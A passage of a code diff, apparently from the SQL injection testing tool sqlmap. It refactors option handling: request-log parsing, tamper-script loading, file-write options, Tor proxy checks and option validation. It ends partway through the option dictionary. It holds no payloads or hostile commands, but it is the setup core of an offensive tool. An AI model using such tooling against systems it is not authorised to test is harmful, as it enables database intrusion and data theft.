@@ -58,6 +53,7 @@ from lib.core.common import resetCookieJar
 from lib.core.common import runningAsAdmin
 from lib.core.common import safeExpandUser
 from lib.core.common import saveConfig
+from lib.core.common import setColor
 from lib.core.common import setOptimize
 from lib.core.common import setPaths
 from lib.core.common import singleTimeWarnMessage
@@ -86,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
 from lib.core.enums import REFLECTIVE_COUNTER
 from lib.core.enums import WIZARD
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapInstallationException
@@ -100,17 +97,14 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.log import FORMATTER
 from lib.core.optiondict import optDict
-from lib.core.settings import BURP_REQUEST_REGEX
-from lib.core.settings import BURP_XML_HISTORY_REGEX
 from lib.core.settings import CODECS_LIST_PAGE
-from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
-from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -120,8 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
-from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
-from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -131,8 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
-from lib.core.settings import VERSION_STRING
-from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import setDaemon
 from lib.core.update import update
@@ -174,201 +164,6 @@ try:
 except NameError:
     WindowsError = None
 
-def _feedTargetsDict(reqFile, addedTargetUrls):
-    """
-    Parses web scarab and burp logs and adds results to the target URL list
-    """
-
-    def _parseWebScarabLog(content):
-        """
-        Parses web scarab logs (POST method not supported)
-        """
-
-        reqResList = content.split(WEBSCARAB_SPLITTER)
-
-        for request in reqResList:
-            url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
-            method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
-            cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
-
-            if not method or not url:
-                logger.debug("not a valid WebScarab log data")
-                continue
-
-            if method.upper() == HTTPMETHOD.POST:
-                warnMsg = "POST requests from WebScarab logs aren't supported "
-                warnMsg += "as their body content is stored in separate files. "
-                warnMsg += "Nevertheless you can use -r to load them individually."
-                logger.warning(warnMsg)
-                continue
-
-            if not(conf.scope and not re.search(conf.scope, url, re.I)):
-                if not kb.targets or url not in addedTargetUrls:
-                    kb.targets.add((url, method, None, cookie, None))
-                    addedTargetUrls.add(url)
-
-    def _parseBurpLog(content):
-        """
-        Parses burp logs
-        """
-
-        if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
-            if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
-                reqResList = []
-                for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
-                    port, request = match.groups()
-                    try:
-                        request = request.decode("base64")
-                    except binascii.Error:
-                        continue
-                    _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
-                    if _:
-                        host = _.group(0).strip()
-                        if not re.search(r":\d+\Z", host):
-                            request = request.replace(host, "%s:%d" % (host, int(port)))
-                    reqResList.append(request)
-            else:
-                reqResList = [content]
-        else:
-            reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
-
-        for match in reqResList:
-            request = match if isinstance(match, basestring) else match.group(0)
-            request = re.sub(r"\A[^\w]+", "", request)
-
-            schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
-
-            if schemePort:
-                scheme = schemePort.group(1)
-                port = schemePort.group(2)
-                request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
-            else:
-                scheme, port = None, None
-
-            if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
-                continue
-
-            if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
-                continue
-
-            getPostReq = False
-            url = None
-            host = None
-            method = None
-            data = None
-            cookie = None
-            params = False
-            newline = None
-            lines = request.split('\n')
-            headers = []
-
-            for index in xrange(len(lines)):
-                line = lines[index]
-
-                if not line.strip() and index == len(lines) - 1:
-                    break
-
-                newline = "\r\n" if line.endswith('\r') else '\n'
-                line = line.strip('\r')
-                match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
-
-                if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
-                    data = ""
-                    params = True
-
-                elif match:
-                    method = match.group(1)
-                    url = match.group(2)
-
-                    if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
-                        params = True
-
-                    getPostReq = True
-
-                # POST parameters
-                elif data is not None and params:
-                    data += "%s%s" % (line, newline)
-
-                # GET parameters
-                elif "?" in line and "=" in line and ": " not in line:
-                    params = True
-
-                # Headers
-                elif re.search(r"\A\S+:", line):
-                    key, value = line.split(":", 1)
-                    value = value.strip().replace("\r", "").replace("\n", "")
-
-                    # Cookie and Host headers
-                    if key.upper() == HTTP_HEADER.COOKIE.upper():
-                        cookie = value
-                    elif key.upper() == HTTP_HEADER.HOST.upper():
-                        if '://' in value:
-                            scheme, value = value.split('://')[:2]
-                        splitValue = value.split(":")
-                        host = splitValue[0]
-
-                        if len(splitValue) > 1:
-                            port = filterStringValue(splitValue[1], "[0-9]")
-
-                    # Avoid to add a static content length header to
-                    # headers and consider the following lines as
-                    # POSTed data
-                    if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
-                        params = True
-
-                    # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
-                        headers.append((getUnicode(key), getUnicode(value)))
-
-                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
-                        params = True
-
-            data = data.rstrip("\r\n") if data else data
-
-            if getPostReq and (params or cookie):
-                if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
-                    port = "443"
-                elif not scheme and port == "443":
-                    scheme = "https"
-
-                if conf.forceSSL:
-                    scheme = "https"
-                    port = port or "443"
-
-                if not host:
-                    errMsg = "invalid format of a request file"
-                    raise SqlmapSyntaxException, errMsg
-
-                if not url.startswith("http"):
-                    url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
-                    scheme = None
-                    port = None
-
-                if not(conf.scope and not re.search(conf.scope, url, re.I)):
-                    if not kb.targets or url not in addedTargetUrls:
-                        kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
-                        addedTargetUrls.add(url)
-
-    checkFile(reqFile)
-    try:
-        with openFile(reqFile, "rb") as f:
-            content = f.read()
-    except (IOError, OSError, MemoryError), ex:
-        errMsg = "something went wrong while trying "
-        errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
-        raise SqlmapSystemException(errMsg)
-
-    if conf.scope:
-        logger.info("using regular expression '%s' for filtering targets" % conf.scope)
-
-    _parseBurpLog(content)
-    _parseWebScarabLog(content)
-
-    if not addedTargetUrls:
-        errMsg = "unable to find usable request(s) "
-        errMsg += "in provided file ('%s')" % reqFile
-        raise SqlmapGenericException(errMsg)
-
 def _loadQueries():
     """
     Loads queries from 'xml/queries.xml' file.
@@ -402,7 +197,7 @@ def _loadQueries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     for node in tree.findall("*"):
         queries[node.attrib['value']] = iterate(node)
@@ -414,7 +209,7 @@ def _setMultipleTargets():
     """
 
     initialTargetsCount = len(kb.targets)
-    addedTargetUrls = set()
+    seen = set()
 
     if not conf.logFile:
         return
@@ -427,7 +222,11 @@ def _setMultipleTargets():
         raise SqlmapFilePathException(errMsg)
 
     if os.path.isfile(conf.logFile):
-        _feedTargetsDict(conf.logFile, addedTargetUrls)
+        for target in parseRequestFile(conf.logFile):
+            url = target[0]
+            if url not in seen:
+                kb.targets.add(target)
+                seen.add(url)
 
     elif os.path.isdir(conf.logFile):
         files = os.listdir(conf.logFile)
@@ -437,7 +236,11 @@ def _setMultipleTargets():
             if not re.search(r"([\d]+)\-request", reqFile):
                 continue
 
-            _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls)
+            for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
+                url = target[0]
+                if url not in seen:
+                    kb.targets.add(target)
+                    seen.add(url)
 
     else:
         errMsg = "the specified list of targets is not a file "
@@ -478,22 +281,37 @@ def _setRequestFromFile():
     textual file, parses it and saves the information into the knowledge base.
     """
 
-    if not conf.requestFile:
-        return
+    if conf.requestFile:
+        conf.requestFile = safeExpandUser(conf.requestFile)
+        seen = set()
 
-    addedTargetUrls = set()
+        if not os.path.isfile(conf.requestFile):
+            errMsg = "specified HTTP request file '%s' " % conf.requestFile
+            errMsg += "does not exist"
+            raise SqlmapFilePathException(errMsg)
 
-    conf.requestFile = safeExpandUser(conf.requestFile)
+        infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
+        logger.info(infoMsg)
 
-    if not os.path.isfile(conf.requestFile):
-        errMsg = "specified HTTP request file '%s' " % conf.requestFile
-        errMsg += "does not exist"
-        raise SqlmapFilePathException(errMsg)
+        for target in parseRequestFile(conf.requestFile):
+            url = target[0]
+            if url not in seen:
+                kb.targets.add(target)
+                seen.add(url)
 
-    infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
-    logger.info(infoMsg)
+    if conf.secondReq:
+        conf.secondReq = safeExpandUser(conf.secondReq)
 
-    _feedTargetsDict(conf.requestFile, addedTargetUrls)
+        if not os.path.isfile(conf.secondReq):
+            errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
+            errMsg += "does not exist"
+            raise SqlmapFilePathException(errMsg)
+
+        infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
+        logger.info(infoMsg)
+
+        target = parseRequestFile(conf.secondReq, False).next()
+        kb.secondReq = target
 
 def _setCrawler():
     if not conf.crawlDepth:
@@ -687,7 +505,7 @@ def _setMetasploit():
 
     if IS_WIN:
         try:
-            import win32file
+            __import__("win32file")
         except ImportError:
             errMsg = "sqlmap requires third-party module 'pywin32' "
             errMsg += "in order to use Metasploit functionalities on "
@@ -700,7 +518,7 @@ def _setMetasploit():
                 retVal = None
 
                 try:
-                    from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
+                    from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
                     _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
                     _ = OpenKey(_, key)
                     retVal = QueryValueEx(_, value)[0]
@@ -788,22 +606,22 @@ def _setMetasploit():
         raise SqlmapFilePathException(errMsg)
 
 def _setWriteFile():
-    if not conf.wFile:
+    if not conf.fileWrite:
         return
 
     debugMsg = "setting the write file functionality"
     logger.debug(debugMsg)
 
-    if not os.path.exists(conf.wFile):
-        errMsg = "the provided local file '%s' does not exist" % conf.wFile
+    if not os.path.exists(conf.fileWrite):
+        errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
         raise SqlmapFilePathException(errMsg)
 
-    if not conf.dFile:
+    if not conf.fileDest:
         errMsg = "you did not provide the back-end DBMS absolute path "
-        errMsg += "where you want to write the local file '%s'" % conf.wFile
+        errMsg += "where you want to write the local file '%s'" % conf.fileWrite
         raise SqlmapMissingMandatoryOptionException(errMsg)
 
-    conf.wFileType = getFileType(conf.wFile)
+    conf.fileWriteType = getFileType(conf.fileWrite)
 
 def _setOS():
     """
@@ -880,6 +698,22 @@ def _setDBMS():
 
             break
 
+def _listTamperingFunctions():
+    """
+    Lists available tamper functions
+    """
+
+    if conf.listTampers:
+        infoMsg = "listing available tamper scripts\n"
+        logger.info(infoMsg)
+
+        for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
+            content = openFile(script, "rb").read()
+            match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
+            if match:
+                comment = match.group(1).strip()
+                dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
+
 def _setTamperingFunctions():
     """
     Loads tampering functions from given script(s)
@@ -918,7 +752,7 @@ def _setTamperingFunctions():
             dirname, filename = os.path.split(script)
             dirname = os.path.abspath(dirname)
 
-            infoMsg = "loading tamper script '%s'" % filename[:-3]
+            infoMsg = "loading tamper module '%s'" % filename[:-3]
             logger.info(infoMsg)
 
             if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -932,7 +766,7 @@ def _setTamperingFunctions():
             try:
                 module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
             except Exception, ex:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
+                raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
 
             priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
 
@@ -962,7 +796,12 @@ def _setTamperingFunctions():
 
                     break
                 elif name == "dependencies":
-                    function()
+                    try:
+                        function()
+                    except Exception, ex:
+                        errMsg = "error occurred while checking dependencies "
+                        errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)
 
             if not found:
                 errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -983,7 +822,7 @@ def _setTamperingFunctions():
 
 def _setWafFunctions():
     """
-    Loads WAF/IPS/IDS detecting functions from script(s)
+    Loads WAF/IPS detecting functions from script(s)
     """
 
     if conf.identifyWaf:
@@ -1128,7 +967,7 @@ def _setHTTPHandlers():
             _ = urlparse.urlsplit(conf.proxy)
         except Exception, ex:
             errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         hostnamePort = _.netloc.split(":")
 
@@ -1232,7 +1071,7 @@ def _setSafeVisit():
                     key, value = line.split(':', 1)
                     value = value.strip()
                     kb.safeReq.headers[key] = value
-                    if key == HTTP_HEADER.HOST:
+                    if key.upper() == HTTP_HEADER.HOST.upper():
                         if not value.startswith("http"):
                             scheme = "http"
                             if value.endswith(":443"):
@@ -1255,7 +1094,7 @@ def _setSafeVisit():
                 kb.safeReq.post = None
         else:
             errMsg = "invalid format of a safe request file"
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
     else:
         if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
@@ -1417,14 +1256,6 @@ def _setHTTPExtraHeaders():
         # Reference: http://stackoverflow.com/a/1383359
         conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
 
-def _defaultHTTPUserAgent():
-    """
-    @return: default sqlmap HTTP User-Agent header
-    @rtype: C{str}
-    """
-
-    return "%s (%s)" % (VERSION_STRING, SITE)
-
 def _setHTTPUserAgent():
     """
     Set the HTTP User-Agent header.
@@ -1464,12 +1295,12 @@ def _setHTTPUserAgent():
         _ = True
 
         for header, _ in conf.httpHeaders:
-            if header == HTTP_HEADER.USER_AGENT:
+            if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                 _ = False
                 break
 
         if _:
-            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
 
     else:
         if not kb.userAgents:
@@ -1484,10 +1315,10 @@ def _setHTTPUserAgent():
                 warnMsg += "file '%s'" % paths.USER_AGENTS
                 logger.warn(warnMsg)
 
-                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
                 return
 
-        userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
+        userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
 
         infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
         infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1528,6 +1359,19 @@ def _setHTTPCookies():
 
         conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
 
+def _setHostname():
+    """
+    Set value conf.hostname
+    """
+
+    if conf.url:
+        try:
+            conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
+        except ValueError, ex:
+            errMsg = "problem occurred while "
+            errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
+            raise SqlmapDataException(errMsg)
+
 def _setHTTPTimeout():
     """
     Set the HTTP timeout
@@ -1580,12 +1424,12 @@ def _createTemporaryDirectory():
         except (OSError, IOError), ex:
             errMsg = "there has been a problem while accessing "
             errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
     else:
         try:
             if not os.path.isdir(tempfile.gettempdir()):
                 os.makedirs(tempfile.gettempdir())
-        except (OSError, IOError, WindowsError), ex:
+        except Exception, ex:
             warnMsg = "there has been a problem while accessing "
             warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
             warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1596,7 +1440,7 @@ def _createTemporaryDirectory():
     if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
         try:
             tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
-        except (OSError, IOError, WindowsError):
+        except:
             tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
 
     kb.tempDir = tempfile.tempdir
@@ -1604,10 +1448,10 @@ def _createTemporaryDirectory():
     if not os.path.isdir(tempfile.tempdir):
         try:
             os.makedirs(tempfile.tempdir)
-        except (OSError, IOError, WindowsError), ex:
+        except Exception, ex:
             errMsg = "there has been a problem while setting "
             errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
 def _cleanupOptions():
     """
@@ -1648,7 +1492,10 @@ def _cleanupOptions():
         conf.rParam = []
 
     if conf.paramDel and '\\' in conf.paramDel:
-        conf.paramDel = conf.paramDel.decode("string_escape")
+        try:
+            conf.paramDel = conf.paramDel.decode("string_escape")
+        except ValueError:
+            pass
 
     if conf.skip:
         conf.skip = conf.skip.replace(" ", "")
@@ -1665,14 +1512,14 @@ def _cleanupOptions():
     if conf.url:
         conf.url = conf.url.strip()
 
-    if conf.rFile:
-        conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
+    if conf.fileRead:
+        conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
 
-    if conf.wFile:
-        conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
+    if conf.fileWrite:
+        conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
 
-    if conf.dFile:
-        conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
+    if conf.fileDest:
+        conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
 
     if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
         conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1689,14 +1536,6 @@ def _cleanupOptions():
     if conf.optimize:
         setOptimize()
 
-    match = re.search(INJECT_HERE_REGEX, conf.data or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
-    match = re.search(INJECT_HERE_REGEX, conf.url or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
     if conf.os:
         conf.os = conf.os.capitalize()
 
@@ -1714,7 +1553,7 @@ def _cleanupOptions():
 
     if conf.testFilter:
         conf.testFilter = conf.testFilter.strip('*+')
-        conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
+        conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
 
         try:
             re.compile(conf.testFilter)
@@ -1723,7 +1562,7 @@ def _cleanupOptions():
 
     if conf.testSkip:
         conf.testSkip = conf.testSkip.strip('*+')
-        conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
+        conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
 
         try:
             re.compile(conf.testSkip)
@@ -1785,8 +1624,8 @@ def _cleanupOptions():
     if conf.col:
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
-    if conf.excludeCol:
-        conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
+    if conf.exclude:
+        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1794,6 +1633,9 @@ def _cleanupOptions():
     if any((conf.proxy, conf.proxyFile, conf.tor)):
         conf.disablePrecon = True
 
+    if conf.dummy:
+        conf.batch = True
+
     threadData = getCurrentThreadData()
     threadData.reset()
 
@@ -1808,23 +1650,13 @@ def _cleanupEnvironment():
     if hasattr(socket, "_ready"):
         socket._ready.clear()
 
-def _dirtyPatches():
+def _purge():
     """
-    Place for "dirty" Python related patches
+    Safely removes (purges) sqlmap data directory.
     """
 
-    httplib._MAXLINE = 1 * 1024 * 1024                          # accept overly long result lines (e.g. SQLi results in HTTP header responses)
-
-    if IS_WIN:
-        from thirdparty.wininetpton import win_inet_pton        # add support for inet_pton() on Windows OS
-
-def _purgeOutput():
-    """
-    Safely removes (purges) output directory.
-    """
-
-    if conf.purgeOutput:
-        purge(paths.SQLMAP_OUTPUT_PATH)
+    if conf.purge:
+        purge(paths.SQLMAP_HOME_PATH)
 
 def _setConfAttributes():
     """
@@ -1862,7 +1694,7 @@ def _setConfAttributes():
     conf.tests = []
     conf.trafficFP = None
     conf.HARCollectorFactory = None
-    conf.wFileType = None
+    conf.fileWriteType = None
 
 def _setKnowledgeBaseAttributes(flushAll=True):
     """
@@ -1876,6 +1708,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.absFilePaths = set()
     kb.adjustTimeDelay = None
     kb.alerted = False
+    kb.aliasName = randomStr()
     kb.alwaysRefresh = None
     kb.arch = None
     kb.authHeader = None
@@ -1942,6 +1775,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.forcePartialUnion = False
     kb.forceWhere = None
     kb.futileUnion = None
+    kb.heavilyDynamic = False
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
@@ -1958,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injection = InjectionDict()
     kb.injections = []
     kb.laggingChecked = False
+    kb.lastInputMessage = None
     kb.lastParserStatus = None
 
     kb.locks = AttribDict()
@@ -2013,6 +1848,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.rowXmlMode = False
     kb.safeCharEncode = False
     kb.safeReq = AttribDict()
+    kb.secondReq = None
+    kb.serverHeader = None
     kb.singleLogFlags = set()
     kb.skipSeqMatcher = False
     kb.reduceTests = None
@@ -2035,6 +1872,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.uChar = NULL
     kb.unionDuplicates = False
     kb.wafSpecificResponse = None
+    kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
@@ -2116,6 +1954,8 @@ def _useWizardInterface():
 
     dataToStdout("\nsqlmap is running, please wait..\n\n")
 
+    kb.wizardMode = True
+
 def _saveConfig():
     """
     Saves the command line options to a sqlmap configuration INI file
@@ -2310,7 +2150,6 @@ def _setTorHttpProxySettings():
         errMsg = "can't establish connection with the Tor HTTP proxy. "
         errMsg += "Please make sure that you have Tor (bundle) installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     if not conf.checkTor:
@@ -2331,7 +2170,6 @@ def _setTorSocksProxySettings():
         errMsg = "can't establish connection with the Tor SOCKS proxy. "
         errMsg += "Please make sure that you have Tor service installed and setup "
         errMsg += "so you could be able to successfully use switch '--tor' "
-
         raise SqlmapConnectionException(errMsg)
 
     # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2344,7 +2182,7 @@ def _checkWebSocket():
             from websocket import ABNF
         except ImportError:
             errMsg = "sqlmap requires third-party module 'websocket-client' "
-            errMsg += "in order to use WebSocket funcionality"
+            errMsg += "in order to use WebSocket functionality"
             raise SqlmapMissingDependence(errMsg)
 
 def _checkTor():
@@ -2401,6 +2239,10 @@ def _basicOptionValidation():
         errMsg = "switch '--eta' is incompatible with option '-v'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.secondUrl and conf.secondReq:
+        errMsg = "option '--second-url' is incompatible with option '--second-req')"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.direct and conf.url:
         errMsg = "option '-d' is incompatible with option '-u' ('--url')"
         raise SqlmapSyntaxException(errMsg)
@@ -2536,11 +2378,11 @@ def _basicOptionValidation():
         raise SqlmapSyntaxException(errMsg)
 
     if conf.checkTor and not any((conf.tor, conf.proxy)):
-        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
+        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
-        errMsg = "value for option '--tor-port' must be in range 0-65535"
+        errMsg = "value for option '--tor-port' must be in range [0, 65535]"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2623,8 +2465,7 @@ def init():
     _setRequestFromFile()
     _cleanupOptions()
     _cleanupEnvironment()
-    _dirtyPatches()
-    _purgeOutput()
+    _purge()
     _checkDependencies()
     _createTemporaryDirectory()
     _basicOptionValidation()
@@ -2633,6 +2474,7 @@ def init():
     _setDNSServer()
     _adjustLoggingFormatter()
     _setMultipleTargets()
+    _listTamperingFunctions()
     _setTamperingFunctions()
     _setWafFunctions()
     _setTrafficOutputFP()
@@ -2640,10 +2482,10 @@ def init():
     _resolveCrossReferences()
     _checkWebSocket()
 
-    parseTargetUrl()
     parseTargetDirect()
 
     if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+        _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
         _setHTTPCookies()

lib/core/optiondict.py

@@ -6,250 +6,254 @@ See the file 'LICENSE' for copying permission
 """
 
 optDict = {
-            # Format:
-            # Family:        { "parameter name":    "parameter datatype" },
-            # Or:
-            # Family:        { "parameter name":    ("parameter datatype", "category name used for common outputs feature") },
-            "Target":        {
-                               "direct":            "string",
-                               "url":               "string",
-                               "logFile":           "string",
-                               "bulkFile":          "string",
-                               "requestFile":       "string",
-                               "sessionFile":       "string",
-                               "googleDork":        "string",
-                               "configFile":        "string",
-                               "sitemapUrl":        "string",
-                             },
+    # Family: {"parameter name": "parameter datatype"},
+    # --OR--
+    # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
 
-            "Request":       {
-                               "method":            "string",
-                               "data":              "string",
-                               "paramDel":          "string",
-                               "cookie":            "string",
-                               "cookieDel":         "string",
-                               "loadCookies":       "string",
-                               "dropSetCookie":     "boolean",
-                               "agent":             "string",
-                               "randomAgent":       "boolean",
-                               "host":              "string",
-                               "referer":           "string",
-                               "headers":           "string",
-                               "authType":          "string",
-                               "authCred":          "string",
-                               "authFile":          "string",
-                               "ignoreCode":        "integer",
-                               "ignoreProxy":       "boolean",
-                               "ignoreRedirects":   "boolean",
-                               "ignoreTimeouts":    "boolean",
-                               "proxy":             "string",
-                               "proxyCred":         "string",
-                               "proxyFile":         "string",
-                               "tor":               "boolean",
